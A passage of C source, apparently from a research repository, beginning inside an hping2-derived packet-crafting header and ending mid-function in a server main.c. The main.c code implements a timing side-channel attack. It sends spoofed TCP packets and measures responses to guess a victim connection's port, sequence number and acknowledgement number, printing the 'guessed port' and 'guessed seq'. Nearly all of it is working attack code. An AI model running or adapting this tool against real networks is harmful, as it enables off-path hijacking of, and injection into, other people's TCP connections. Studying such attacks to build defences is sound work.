kernel 2.[12].* with 2.0.* kernel headers? */ 98 | #endif 99 | #ifndef ETH_P_IP 100 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 101 | #endif 102 | #ifndef ABS 103 | #define ABS(x) (((x)>0) ? (x) : -(x)) 104 | #endif 105 | 106 | /* header size of some physical layer type */ 107 | #define PPPHDR_SIZE_LINUX 0 108 | #define PPPHDR_SIZE_FREEBSD 4 109 | #define PPPHDR_SIZE_OPENBSD 4 110 | #define PPPHDR_SIZE_NETBSD 4 111 | #define PPPHDR_SIZE_BSDI 4 112 | #define ETHHDR_SIZE 14 113 | #define LOHDR_SIZE 14 114 | #define WLANHDR_SIZE 14 115 | #define TRHDR_SIZE 20 116 | 117 | /* packet size (physical header size + ip header + tcp header + 0 data bytes) */ 118 | #ifndef IP_MAX_SIZE 119 | #define IP_MAX_SIZE 65535 120 | #endif 121 | 122 | /* absolute offsets */ 123 | #define ABS_OFFSETIP linkhdr_size 124 | #define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE ) 125 | #define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE ) 126 | #define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE ) 127 | 128 | /* defaults and misc */ 129 | #define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */ 130 | #define DEFAULT_DPORT 0 /* default dest. port */ 131 | #define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */ 132 | #define DEFAULT_COUNT -1 /* default packets count: -1 means forever */ 133 | #define DEFAULT_TTL 64 /* default ip->ttl value */ 134 | #define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */ 135 | #define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */ 136 | #define DEFAULT_ICMP_TYPE 8 /* echo request */ 137 | #define DEFAULT_ICMP_CODE 0 /* icmp-type relative */ 138 | #define DEFAULT_ICMP_IP_VERSION 4 139 | #define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2) 140 | #define DEFAULT_ICMP_IP_TOS 0 141 | #define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */ 142 | #define DEFAULT_ICMP_IP_ID 0 /* rand */ 143 | #define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */ 144 | #define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */ 145 | #define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */ 146 | #define DEFAULT_TRACEROUTE_TTL 1 147 | 148 | #define BIND_NONE 0 /* no bind */ 149 | #define BIND_DPORT 1 /* bind destination port */ 150 | #define BIND_TTL 2 /* bind ip->ttl */ 151 | #define DEFAULT_BIND BIND_DPORT 152 | 153 | /* fragmentation defines */ 154 | #define MF ((unsigned short)0x2000) /* more fragments */ 155 | #define DF ((unsigned short)0x4000) /* dont fragment */ 156 | #define NF ((unsigned short)0x0000) /* no more fragments */ 157 | 158 | /* ip options defines */ 159 | #define IPOPT_COPY 0x80 160 | #define IPOPT_CLASS_MASK 0x60 161 | #define IPOPT_NUMBER_MASK 0x1f 162 | 163 | #define IPOPT_COPIED(o) ((o)&IPOPT_COPY) 164 | #define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK) 165 | #define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK) 166 | 167 | #define IPOPT_CONTROL 0x00 168 | #define IPOPT_RESERVED1 0x20 169 | #define IPOPT_MEASUREMENT 0x40 170 | #define IPOPT_RESERVED2 0x60 171 | 172 | #define IPOPT_END (0 |IPOPT_CONTROL) 173 | #define IPOPT_NOOP (1 |IPOPT_CONTROL) 174 | #define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY) 175 | #define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY) 176 | #define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT) 177 | #define IPOPT_RR (7 |IPOPT_CONTROL) 178 | #define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY) 179 | #define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY) 180 | #define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY) 181 | 182 | #define IPOPT_OPTVAL 0 183 | #define IPOPT_OLEN 1 184 | #define IPOPT_OFFSET 2 185 | #define IPOPT_MINOFF 4 186 | #define MAX_IPOPTLEN 40 187 | #define IPOPT_NOP IPOPT_NOOP 188 | #define IPOPT_EOL IPOPT_END 189 | #define IPOPT_TS IPOPT_TIMESTAMP 190 | 191 | #define IPOPT_TS_TSONLY 0 /* timestamps only */ 192 | #define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ 193 | #define IPOPT_TS_PRESPEC 3 /* specified modules only */ 194 | 195 | /* tcp flags */ 196 | #ifndef TH_FIN 197 | #define TH_FIN 0x01 198 | #endif 199 | #ifndef TH_SYN 200 | #define TH_SYN 0x02 201 | #endif 202 | #ifndef TH_RST 203 | #define TH_RST 0x04 204 | #endif 205 | #ifndef TH_PUSH 206 | #define TH_PUSH 0x08 207 | #endif 208 | #ifndef TH_ACK 209 | #define TH_ACK 0x10 210 | #endif 211 | #ifndef TH_URG 212 | #define TH_URG 0x20 213 | #endif 214 | #ifndef TH_X 215 | #define TH_X 0x40 /* X tcp flag */ 216 | #endif 217 | #ifndef TH_Y 218 | #define TH_Y 0x80 /* Y tcp flag */ 219 | #endif 220 | 221 | /* ICMP TYPE */ 222 | #define ICMP_ECHOREPLY 0 /* Echo Reply */ 223 | #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ 224 | #define ICMP_SOURCE_QUENCH 4 /* Source Quench */ 225 | #define ICMP_REDIRECT 5 /* Redirect (change route) */ 226 | #define ICMP_ECHO 8 /* Echo Request */ 227 | #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ 228 | #define ICMP_PARAMETERPROB 12 /* Parameter Problem */ 229 | #define ICMP_TIMESTAMP 13 /* Timestamp Request */ 230 | #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ 231 | #define ICMP_INFO_REQUEST 15 /* Information Request */ 232 | #define ICMP_INFO_REPLY 16 /* Information Reply */ 233 | #define ICMP_ADDRESS 17 /* Address Mask Request */ 234 | #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ 235 | 236 | /* Codes for UNREACHABLE */ 237 | #define ICMP_NET_UNREACH 0 /* Network Unreachable */ 238 | #define ICMP_HOST_UNREACH 1 /* Host Unreachable */ 239 | #define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */ 240 | #define ICMP_PORT_UNREACH 3 /* Port Unreachable */ 241 | #define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */ 242 | #define ICMP_SR_FAILED 5 /* Source Route failed */ 243 | #define ICMP_NET_UNKNOWN 6 244 | #define ICMP_HOST_UNKNOWN 7 245 | #define ICMP_HOST_ISOLATED 8 246 | #define ICMP_NET_ANO 9 247 | #define ICMP_HOST_ANO 10 248 | #define ICMP_NET_UNR_TOS 11 249 | #define ICMP_HOST_UNR_TOS 12 250 | #define ICMP_PKT_FILTERED 13 /* Packet filtered */ 251 | #define ICMP_PREC_VIOLATION 14 /* Precedence violation */ 252 | #define ICMP_PREC_CUTOFF 15 /* Precedence cut off */ 253 | #define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */ 254 | 255 | /* Codes for REDIRECT */ 256 | #define ICMP_REDIR_NET 0 /* Redirect Net */ 257 | #define ICMP_REDIR_HOST 1 /* Redirect Host */ 258 | #define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ 259 | #define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ 260 | 261 | /* Codes for TIME_EXCEEDED */ 262 | #define ICMP_EXC_TTL 0 /* TTL count exceeded */ 263 | #define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */ 264 | 265 | /* 266 | * IP header 267 | */ 268 | struct myiphdr { 269 | __u8 ihl:4, 270 | version:4; 271 | __u8 tos; 272 | __u16 tot_len; 273 | __u16 id; 274 | __u16 frag_off; 275 | __u8 ttl; 276 | __u8 protocol; 277 | __u16 check; 278 | __u32 saddr; 279 | __u32 daddr; 280 | }; 281 | 282 | /* 283 | * UDP header 284 | */ 285 | struct myudphdr { 286 | __u16 uh_sport; /* source port */ 287 | __u16 uh_dport; /* destination port */ 288 | __u16 uh_ulen; /* udp length */ 289 | __u16 uh_sum; /* udp checksum */ 290 | }; 291 | 292 | /* 293 | * TCP header. 294 | * Per RFC 793, September, 1981. 295 | */ 296 | struct mytcphdr { 297 | __u16 th_sport; /* source port */ 298 | __u16 th_dport; /* destination port */ 299 | __u32 th_seq; /* sequence number */ 300 | __u32 th_ack; /* acknowledgement number */ 301 | __u8 th_x2:4, /* (unused) */ 302 | th_off:4; /* data offset */ 303 | __u8 th_flags; 304 | __u16 th_win; /* window */ 305 | __u16 th_sum; /* checksum */ 306 | __u16 th_urp; /* urgent pointer */ 307 | }; 308 | 309 | struct tcphdr_bsd 310 | { 311 | u_int16_t th_sport; /* source port */ 312 | u_int16_t th_dport; /* destination port */ 313 | u_int32_t th_seq; /* sequence number */ 314 | u_int32_t th_ack; /* acknowledgement number */ 315 | # if __BYTE_ORDER == __LITTLE_ENDIAN 316 | u_int8_t th_x2:4; /* (unused) */ 317 | u_int8_t th_off:4; /* data offset */ 318 | # endif 319 | # if __BYTE_ORDER == __BIG_ENDIAN 320 | u_int8_t th_off:4; /* data offset */ 321 | u_int8_t th_x2:4; /* (unused) */ 322 | # endif 323 | u_int8_t th_flags; 324 | # define TH_FIN 0x01 325 | # define TH_SYN 0x02 326 | # define TH_RST 0x04 327 | # define TH_PUSH 0x08 328 | # define TH_ACK 0x10 329 | # define TH_URG 0x20 330 | u_int16_t th_win; /* window */ 331 | u_int16_t th_sum; /* checksum */ 332 | u_int16_t th_urp; /* urgent pointer */ 333 | }; 334 | 335 | struct Options { 336 | uint32_t tstamp; 337 | }; 338 | 339 | /* 340 | * ICMP header 341 | */ 342 | struct myicmphdr 343 | { 344 | __u8 type; 345 | __u8 code; 346 | __u16 checksum; 347 | union 348 | { 349 | struct 350 | { 351 | __u16 id; 352 | __u16 sequence; 353 | } echo; 354 | __u32 gateway; 355 | } un; 356 | }; 357 | 358 | struct icmp_tstamp_data { 359 | __u32 orig; 360 | __u32 recv; 361 | __u32 tran; 362 | }; 363 | 364 | /* 365 | * UDP/TCP pseudo header 366 | * for cksum computing 367 | */ 368 | struct pseudohdr 369 | { 370 | __u32 saddr; 371 | __u32 daddr; 372 | __u8 zero; 373 | __u8 protocol; 374 | __u16 lenght; 375 | }; 376 | 377 | #define PSEUDOHDR_SIZE sizeof(struct pseudohdr) 378 | 379 | /* 380 | * hping replies delay table 381 | */ 382 | struct delaytable_element { 383 | int seq; 384 | int src; 385 | time_t sec; 386 | time_t usec; 387 | int status; 388 | }; 389 | 390 | extern volatile struct delaytable_element delaytable[TABLESIZE]; 391 | 392 | /* protos */ 393 | void nop(void); /* nop */ 394 | int parse_options(int, char**); /* option parser */ 395 | int get_if_name(void); /* get interface (see source) */ 396 | int get_linkhdr_size(char*); /* get link layer hdr size */ 397 | int open_sockpacket(int); /* open SOCK_PACKET socket */ 398 | int close_sockpacket(int); /* close SOCK_PACKET socket */ 399 | int open_sockraw(void); /* open raw socket */ 400 | void send_packet (int signal_id); 401 | void send_rawip (void); 402 | // void send_tcp(int sport, int dport, int id, int ttl, int count, const u_char *payload, int payload_size, struct tcphdr_bsd* tcp_in, struct iphdr* ip_in, const char* srcIP, const char* dstIP, unsigned short ip_frag); 403 | void send_tcp(int sport, int dport, int id, int ttl, const u_char *payload, int payload_size, 404 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP, 405 | struct Options* opts); 406 | void release_tcp(char* tcp); 407 | char* construct_tcp(int sport, int dport, const u_char *payload, int payload_size, 408 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP, 409 | struct Options* opts, int &packet_size); 410 | 411 | void send_tcp(void); 412 | void send_udp(void); 413 | void send_icmp(int opt_icmptype, int opt_icmpcode, char* icmpSrcIP, char* icmpDstIP, int srcPort, int dstPort, char* srcIP, char* dstIP, int ttl); 414 | void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */ 415 | void send_ip (int, int, char*, char*, char*, unsigned int, int, unsigned short, 416 | char*, char); 417 | //void send_ip_handler(char *packet, unsigned int size); /* fragmentation 418 | // handler */ 419 | void send_ip_handler(int type, int ttl, char* srcIP, char* dstIP, char *packet, unsigned int size); 420 | //void wait_packet(void); /* handle incoming packets */ 421 | long long wait_packet(char* localIP, char* remoteIP, int dst_port); 422 | void print_statistics(int); 423 | void show_usage(void); 424 | void show_version(void); 425 | void resolve(struct sockaddr*, char*); /* resolver */ 426 | void log_icmp_unreach(char*, unsigned short);/* ICMP unreachable logger */ 427 | void log_icmp_timeexc(char*, unsigned short);/* ICMP time exceeded logger */ 428 | time_t get_usec(void); /* return current usec */ 429 | time_t get_midnight_ut_ms(void); /* ms from UT midnight */ 430 | __u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */ 431 | void inc_destparm(int sid); /* inc dst port or ttl */ 432 | char *get_hostname(char*); /* get host from addr */ 433 | void datafiller(char *p, int size); /* fill data from file */ 434 | void data_handler(char *data, int data_size);/* handle data filling */ 435 | void socket_broadcast(int sd); /* set SO_BROADCAST option */ 436 | void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */ 437 | void listenmain(void); /* main for listen mode */ 438 | char *memstr(char *haystack, char *needle, int size); /* memstr */ 439 | void tos_help(void); /* show the TOS help */ 440 | int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */ 441 | int relativize_id(int seqnum, int *ip_id); /* compute relative id */ 442 | int if_promisc_on(int s); /* promisc. mode ON */ 443 | int if_promisc_off(int s); /* promisc. mode OFF */ 444 | int open_pcap(void); /* open libpcap socket */ 445 | int close_pcap(void); /* close libpcap socket */ 446 | int pcap_recv(char *, unsigned int); /* libpcap api wrapper */ 447 | int memlock(char *addr, size_t size); /* disable paging */ 448 | int memunlock(char *addr, size_t size); /* enable paging */ 449 | int memlockall(void); /* disable paging (all pages) */ 450 | int memunlockall(void); /* enable paging (all pages) */ 451 | unsigned char ip_opt_build(char *ip_opt); /* build ip options */ 452 | void display_ipopt(char* buf); /* display ip options */ 453 | void icmp_help(void); /* show the ICMP help */ 454 | void route_help(void); /* show the route help */ 455 | void (*Signal(int signo, void (*func)(int)))(int); 456 | void delaytable_add(int seq, int src, time_t sec, time_t usec, int status); 457 | int read_packet(void *packet, int size); 458 | void scanmain(void); 459 | u_int32_t hp_rand(void); 460 | #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ 461 | !defined(__bsdi__) && !defined(__APPLE__) 462 | size_t strlcpy(char *dst, const char *src, size_t siz); 463 | #endif 464 | 465 | /* ARS glue */ 466 | void hping_ars_send(char *s); 467 | 468 | 469 | 470 | 471 | extern unsigned int 472 | tcp_th_flags, 473 | linkhdr_size, 474 | h_if_mtu, 475 | virtual_mtu, 476 | ip_frag_offset, 477 | signlen, 478 | lsr_length, 479 | ssr_length, 480 | ip_tos, 481 | set_seqnum, 482 | tcp_seqnum, 483 | set_ack, 484 | ip_header_length, 485 | tcp_ack; 486 | 487 | extern unsigned short int 488 | data_size; 489 | 490 | extern int opt_debug, 491 | sockpacket, 492 | sockraw, 493 | sent_pkt, 494 | recv_pkt, 495 | out_of_sequence_pkt, 496 | sending_wait, 497 | opt_rawipmode, 498 | opt_icmpmode, 499 | opt_udpmode, 500 | opt_scanmode, 501 | opt_listenmode, 502 | opt_waitinusec, 503 | opt_numeric, 504 | opt_gethost, 505 | opt_quiet, 506 | opt_relid, 507 | opt_fragment, 508 | opt_df, 509 | opt_mf, 510 | opt_debug, 511 | opt_verbose, 512 | opt_winid_order, 513 | opt_keepstill, 514 | opt_datafromfile, 515 | opt_hexdump, 516 | opt_contdump, 517 | opt_sign, 518 | opt_safe, 519 | opt_end, 520 | opt_traceroute, 521 | opt_seqnum, 522 | opt_incdport, 523 | opt_force_incdport, 524 | opt_icmptype, 525 | opt_icmpcode, 526 | opt_rroute, 527 | opt_tcpexitcode, 528 | opt_badcksum, 529 | opt_tr_keep_ttl, 530 | opt_tcp_timestamp, 531 | opt_tr_stop, 532 | opt_tr_no_rtt, 533 | opt_rand_dest, 534 | opt_rand_source, 535 | opt_lsrr, 536 | opt_ssrr, 537 | tcp_exitcode, 538 | src_ttl, 539 | src_id, 540 | base_dst_port, 541 | dst_port, 542 | src_port, 543 | initsport, 544 | sequence, 545 | src_winsize, 546 | src_thoff, 547 | count, 548 | ctrlzbind, 549 | delaytable_index, 550 | eof_reached, 551 | icmp_ip_version, 552 | icmp_ip_ihl, 553 | icmp_ip_tos, 554 | icmp_ip_tot_len, 555 | icmp_ip_id, 556 | icmp_ip_srcport, 557 | icmp_ip_dstport, 558 | opt_force_icmp, 559 | icmp_ip_protocol, 560 | icmp_cksum, 561 | raw_ip_protocol; 562 | 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | #endif /* _HPING2_H */ 571 | -------------------------------------------------------------------------------- /server/src/http.txt: -------------------------------------------------------------------------------- 1 | HTTP/1.1 200 OK 2 | Cache-Control: public, max-age=31536000 3 | Content-Length: 169 4 | Content-Type: text/html 5 | 6 | 7 | -------------------------------------------------------------------------------- /server/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include /* for NF_ACCEPT */ 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | // #include 15 | 16 | #include "server.h" 17 | #include "hping2.h" 18 | #include "parse.h" 19 | #include "websocket/websocket.h" 20 | 21 | volatile static int ack_nums = 0; 22 | typedef void* (*CallbackType)(void*); 23 | static void (*callback)() = NULL; 24 | static Packet packet, cmd_packet; 25 | static struct tcphdr_bsd tcp, cmd_tcp; 26 | static uint64_t last_time, last_time_after, last_time_diff; 27 | static volatile bool FLAG = true; 28 | static struct Hosts* hosts = NULL; 29 | 30 | #define make_str(pointer, str, len) { \ 31 | pointer = (char*) malloc(len+1);\ 32 | strncpy(pointer, str, len);\ 33 | pointer[len] = '\0';\ 34 | } 35 | 36 | #define NONE_INFERENCE 0 37 | #define PORT_INFERENCE 1 38 | #define PORT_COMPARE 2 39 | #define PORT_INFERENCE_STAGE2 3 40 | #define SEQ_INFERENCE 4 41 | #define SEQ_INFERENCE_STAGE2 5 42 | #define SEQ_COMPARE1 6 43 | #define SEQ_COMPARE2 7 44 | #define ACK_INFERENCE 8 45 | #define ACK_INFERENCE_STAGE2 9 46 | #define ACK_INFERENCE_COMPARE 10 47 | #define WARMUP 11 48 | #define MEASURE_RIGHT 12 49 | #define MEASURE_WRONG 13 50 | #define MEASURE_IP 14 51 | #define MEASURE_IP_COMPARE 15 52 | 53 | static int cur_state = NONE_INFERENCE; 54 | static int counter = 0; 55 | 56 | #define TEN_PACKETS 10 57 | #define TOTAL_PACKETS 30 58 | #define TIME_INTERVAL 3000 59 | #define TIMEOUT_INTERVAL 500000 60 | #define CHALLENGE_ACK_INFERENCE 256 61 | 62 | // function 63 | static void all_callback(); 64 | static void* idle(void* data); 65 | 66 | //Auto adjustment parameters 67 | static uint64_t SEQ_THRESHOLD = 2500; 68 | static uint64_t SEQ_DIFF_THRESHOLD = 800; 69 | static uint64_t MAX_FULL_LATENCY = 10000; 70 | 71 | //Flags 72 | #ifdef DOUBLE_SEQ 73 | static bool DOUBLE_SEQ_FLAG = true; 74 | #else 75 | static bool DOUBLE_SEQ_FLAG = false; 76 | #endif 77 | 78 | uint64_t rdtsc_nofence() { 79 | uint64_t a, d; 80 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 81 | a = (d<<32) | a; 82 | return a; 83 | } 84 | 85 | uint64_t microtime() { 86 | struct timeval tv; 87 | gettimeofday(&tv, NULL); 88 | return tv.tv_sec * 1000000 + tv.tv_usec; 89 | } 90 | 91 | uint64_t absolute_value_diff(uint64_t a, uint64_t b) { 92 | if (a > b) return a - b; 93 | else return b - a; 94 | } 95 | 96 | static bool need_resolve(char* host) { 97 | int len = strlen(host); 98 | for (int i = 0; i < len; i++) { 99 | if (host[i] != '.' && (host[i] > 57 || host[i] < 48)) 100 | return true; 101 | } 102 | return false; 103 | } 104 | 105 | static uint64_t start_infer, stop_infer; 106 | void signal_handler(int sig) { 107 | stop_infer = microtime(); 108 | printf("ip addr: %s\n", packet.dip); 109 | printf("process time: %lu\n", stop_infer - start_infer); 110 | printf("counter: %d\n", counter); 111 | printf("ack_nums: %d\n", ack_nums); 112 | printf("guessed port: %u\n", packet.sport); 113 | printf("guessed seq: %x\n", tcp.th_seq); 114 | printf("SEQ_THRESHOLD: %lu\n", SEQ_THRESHOLD); 115 | printf("SEQ_DIFF_THRESHOLD: %lu\n", SEQ_DIFF_THRESHOLD); 116 | printf("MAX_FULL_LATENCY: %lu\n", MAX_FULL_LATENCY); 117 | if (DOUBLE_SEQ_FLAG) 118 | printf("DOUBLE_SEQ_FLAG: true\n"); 119 | websocket_close(Global_websocket_fd); 120 | sleep(1); 121 | // cmd_tcp.th_seq = cmd_packet.seq + 1; 122 | // cmd_tcp.th_ack = cmd_packet.ack + 1; 123 | // send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 124 | exit(0); 125 | } 126 | 127 | void set_timeout(int n) { 128 | struct itimerval timer; 129 | timer.it_value.tv_sec = 0; 130 | timer.it_value.tv_usec = n; //150000; 131 | timer.it_interval.tv_sec = 0; 132 | timer.it_interval.tv_usec = 0; 133 | setitimer(ITIMER_REAL, &timer, NULL); 134 | } 135 | 136 | static void create_thread(CallbackType handler) { 137 | //thread 138 | pthread_attr_t attr; 139 | pthread_t child; 140 | 141 | //start a new thread 142 | pthread_attr_init(&attr); 143 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); 144 | if (pthread_create(&child, &attr, handler, NULL) != 0) { 145 | printf("thread creation error\n"); 146 | } 147 | } 148 | 149 | static void dummy_callback() { 150 | // printf("consume one ack here\n"); 151 | } 152 | 153 | static void* close_wrapper(void* data) { 154 | signal_handler(0); 155 | return NULL; 156 | } 157 | 158 | static void closeup() { 159 | printf("closeup\n"); 160 | callback = &dummy_callback; 161 | FLAG = false; 162 | create_thread(close_wrapper); 163 | } 164 | 165 | static char *start, *end, *infer; 166 | static int start_size, end_size, frame_size; 167 | 168 | static uint64_t port_infer(Packet* packet, struct tcphdr_bsd* tcp) { 169 | int i, packet_size; 170 | tcp->th_flags = TH_PUSH | TH_ACK; 171 | char* payload = construct_tcp(packet->dport, packet->sport, 172 | (unsigned char*)infer, frame_size, tcp, 173 | packet->dip, packet->sip, NULL, packet_size); 174 | 175 | if (Global_websocket_fd != -1) { //socket for communication 176 | 177 | set_timeout(TIMEOUT_INTERVAL); 178 | last_time = microtime(); 179 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 180 | 181 | for (i = 0; i < TOTAL_PACKETS; i++) { 182 | send_ip_handler(0, 64, packet->dip, packet->sip, payload, packet_size); 183 | } 184 | 185 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 186 | last_time_after = microtime(); 187 | } 188 | release_tcp(payload); 189 | return 0; 190 | } 191 | 192 | static uint64_t seq_infer(Packet* packet, struct tcphdr_bsd* tcp, const int n) { 193 | int i, packet_size; 194 | 195 | char* payload = construct_tcp(packet->dport, packet->sport, 196 | /*(unsigned char*)infer, frame_size,*/ 197 | NULL, 0, 198 | tcp, packet->dip, packet->sip, NULL, packet_size); 199 | 200 | set_timeout(TIMEOUT_INTERVAL); 201 | if (Global_websocket_fd != -1) { //socket for communication 202 | last_time = microtime(); 203 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 204 | 205 | for (i = 0; i < n; i++) { 206 | send_ip_handler(0, 64, packet->dip, packet->sip, payload, packet_size); 207 | } 208 | 209 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 210 | last_time_after = microtime(); 211 | } 212 | release_tcp(payload); 213 | return 0; 214 | } 215 | 216 | // send spoofed packets with in-window sequence number for our own connection 217 | static uint64_t seq_infer_own(const int n) { 218 | int i, packet_size; 219 | 220 | cmd_tcp.th_seq = cmd_packet.ack + 10; 221 | char* payload = construct_tcp(cmd_packet.dport, cmd_packet.sport, 222 | /*(unsigned char*)infer, frame_size,*/ 223 | NULL, 0, 224 | &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL, packet_size); 225 | 226 | cmd_tcp.th_seq = 0; 227 | 228 | set_timeout(TIMEOUT_INTERVAL); 229 | if (Global_websocket_fd != -1) { //socket for communication 230 | last_time = microtime(); 231 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 232 | 233 | for (i = 0; i < n; i++) { 234 | send_ip_handler(0, 64, cmd_packet.dip, cmd_packet.sip, payload, packet_size); 235 | } 236 | 237 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 238 | last_time_after = microtime(); 239 | } 240 | release_tcp(payload); 241 | return 0; 242 | } 243 | 244 | static uint64_t ack_left = 0, ack_right = 0x100000000, cur_left_ack = 0, cur_right_ack = 0, cur_ack = 0; 245 | 246 | void* probe(void* data) { 247 | usleep(TIME_INTERVAL); 248 | switch (cur_state) { 249 | case MEASURE_RIGHT: 250 | seq_infer_own(TOTAL_PACKETS); 251 | break; 252 | case MEASURE_WRONG: 253 | case SEQ_INFERENCE: 254 | case SEQ_INFERENCE_STAGE2: 255 | case SEQ_COMPARE1: 256 | case SEQ_COMPARE2: 257 | seq_infer(&packet, &tcp, TOTAL_PACKETS); 258 | break; 259 | case WARMUP: 260 | case MEASURE_IP: 261 | case MEASURE_IP_COMPARE: 262 | port_infer(&packet, &tcp); 263 | break; 264 | default: 265 | break; 266 | } 267 | return NULL; 268 | } 269 | 270 | void timeout_handler(int sig) { 271 | printf("timeout!!! %d\n", sig); 272 | if (cur_state == WARMUP) { 273 | counter = counter & ~1; 274 | } else { 275 | counter = 0; 276 | } 277 | 278 | if (sig == 2 || sig == 14) { //you have to warm up 279 | 280 | FLAG = false; 281 | callback = &dummy_callback; 282 | create_thread(idle); 283 | if (sig == 14) 284 | signal(SIGALRM, timeout_handler); 285 | return; 286 | } 287 | 288 | create_thread(probe); 289 | } 290 | 291 | static inline uint64_t minimal(uint64_t* array, int left, int right, int strip) { //[left, right) 292 | int i; 293 | uint64_t min_num = -1U; 294 | for (i = left; i < right; i+=strip) { 295 | if (array[i] < min_num) 296 | min_num = array[i]; 297 | } 298 | return min_num; 299 | } 300 | 301 | #define ACK_WINDOW 140000 302 | 303 | void* keep_router_busy(void* data) { 304 | for (int i = 0; i < 10; i++) { 305 | for (int j = 0; j < 10; j++) 306 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, NULL, 0, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 307 | usleep(10000); 308 | } 309 | return NULL; 310 | } 311 | 312 | #define ACK_MAX_LATENCY 20000 313 | #define ACK_DIFF_THRESHOLD 500 314 | #define ACK_THRESHOLD 1500 315 | 316 | #define SEQ_WINDOW 800000 317 | #define SEQ_MAX_LATENCY 10000 318 | 319 | static uint64_t seq_left = 0, seq_right = 0x100000000, cur_seq = 0; 320 | static uint64_t cur_window = SEQ_WINDOW; 321 | static uint64_t initial_window = SEQ_WINDOW; 322 | 323 | static void restart_seq() { 324 | // tcp.th_seq = seq_right; 325 | if (initial_window != cur_window) 326 | tcp.th_seq -= initial_window; 327 | if (tcp.th_seq % cur_window == 0) 328 | tcp.th_seq = (tcp.th_seq / cur_window) * cur_window; 329 | else 330 | tcp.th_seq = (tcp.th_seq / cur_window) * cur_window + cur_window; 331 | if (initial_window != cur_window) 332 | tcp.th_seq += initial_window; 333 | 334 | cur_seq = tcp.th_seq; 335 | 336 | seq_left = 0; 337 | seq_right = 0x100000000; 338 | cur_state = SEQ_INFERENCE; 339 | tcp.th_ack = 0; 340 | create_thread(probe); 341 | } 342 | 343 | static bool handle_seq(uint64_t delay, uint64_t diff) { 344 | static int /*dynamic_balance_diff = 0, */dynamic_balance_delay = 0; 345 | if ((SEQ_DIFF_THRESHOLD != -1 && diff <= SEQ_DIFF_THRESHOLD ) 346 | || (SEQ_THRESHOLD != -1 && delay <= SEQ_THRESHOLD)) { 347 | printf("get it %x\n", tcp.th_seq); 348 | if (SEQ_THRESHOLD != -1 && delay <= SEQ_THRESHOLD) { 349 | dynamic_balance_delay++; 350 | } 351 | if (dynamic_balance_delay > 100) { 352 | if (SEQ_THRESHOLD < 50) { 353 | SEQ_THRESHOLD = -1; 354 | } else { 355 | SEQ_THRESHOLD -= 50; 356 | printf("change SEQ_THRESHOLD to: %lu\n", SEQ_THRESHOLD); 357 | } 358 | dynamic_balance_delay = 0; 359 | } 360 | 361 | return true; 362 | } else { 363 | if (dynamic_balance_delay > 1) 364 | dynamic_balance_delay -= 1; 365 | 366 | if (DOUBLE_SEQ_FLAG) { 367 | if (tcp.th_ack == 0) { 368 